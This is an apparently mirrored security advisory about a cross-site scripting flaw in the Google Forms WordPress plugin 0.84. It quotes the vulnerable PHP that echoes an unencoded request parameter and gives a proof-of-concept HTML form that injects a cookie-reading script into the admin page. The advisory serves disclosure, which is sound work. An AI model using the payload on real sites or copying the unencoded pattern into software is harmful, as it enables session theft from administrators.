WordPress Google Forms 0.84 Cross Site Scripting

🗓️ 13 Jul 2016 00:00:00Reported by Yorick KosterType
packetstorm🔗 packetstormsecurity.com👁 27 Views
Google Forms WordPress Plugin 0.84 Cross-Site Scriptin
`------------------------------------------------------------------------  
Cross-Site Scripting vulnerability in Google Forms WordPress Plugin  
------------------------------------------------------------------------  
Yorick Koster, July 2016  
  
------------------------------------------------------------------------  
Abstract  
------------------------------------------------------------------------  
A Cross-Site Scripting vulnerability was found in the Google Forms  
WordPress Plugin. This issue allows an attacker to perform a wide  
variety of actions, such as stealing Administrators' session tokens, or  
performing arbitrary actions on their behalf. In order to exploit this  
issue, the attacker has to lure/force a logged on WordPress  
Administrator into opening a malicious website.  
  
------------------------------------------------------------------------  
OVE ID  
------------------------------------------------------------------------  
OVE-20160712-0021  
  
------------------------------------------------------------------------  
Tested versions  
------------------------------------------------------------------------  
This issue was successfully tested on Google Forms WordPress Plugin  
version 0.84.  
  
------------------------------------------------------------------------  
Fix  
------------------------------------------------------------------------  
This issue is resolved in Google Forms version 0.85.  
  
------------------------------------------------------------------------  
Details  
------------------------------------------------------------------------  
https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_google_forms_wordpress_plugin.html  
  
The issue exists in the file wpgform-logging.php and is caused by the lack of output encoding on the page request parameter. The vulnerable code is listed below.  
  
<form id="wpgform-log-entries-filter" method="get">  
<!-- For plugins, we also need to ensure that the form posts back to our current page -->  
<input type="hidden" name="post_type" value="<?php echo WPGFORM_CPT_FORM ?>" />  
<input type="hidden" name="page" value="<?php echo $_REQUEST['page'] ?>" />  
<input type="hidden" name="_wp_http_referer" value="<?php echo admin_url('edit.php?post_type=' . WPGFORM_CPT_FORM . '&page=wpgform-entry-log-page' ); ?>" />  
<!-- Now we can render the completed list table -->  
<?php //$wpgformListTable->search_box(__('Search', WPGFORM_I18N_DOMAIN), 'search_id'); ?>  
<?php $wpgformListTable->display() ; ?>  
</form>  
  
Normally, the page URL parameter is validated by WordPress, which prevents Cross-Site Scripting. However in this case the value of page is obtained from $_REQUEST, not from $_GET. This allows for parameter pollution where the attacker puts a benign page value in the URL and simultaneously submits a malicious page value as POST parameter.  
Proof of concept  
  
<html>  
<body>  
<form action="http://<target>/wp-admin/edit.php?post_type=wpgform&page=wpgform-entry-log-page" method="POST">  
<input type="hidden" name="page" value=""<script>alert(document.cookie);</script>" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
  
------------------------------------------------------------------------  
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its  
goal is to contribute to the security of popular, widely used OSS  
projects in a fun and educational way.  
  
`
13 Jul 2016 00:00Current
0.1Low risk
Vulners AI Score0.1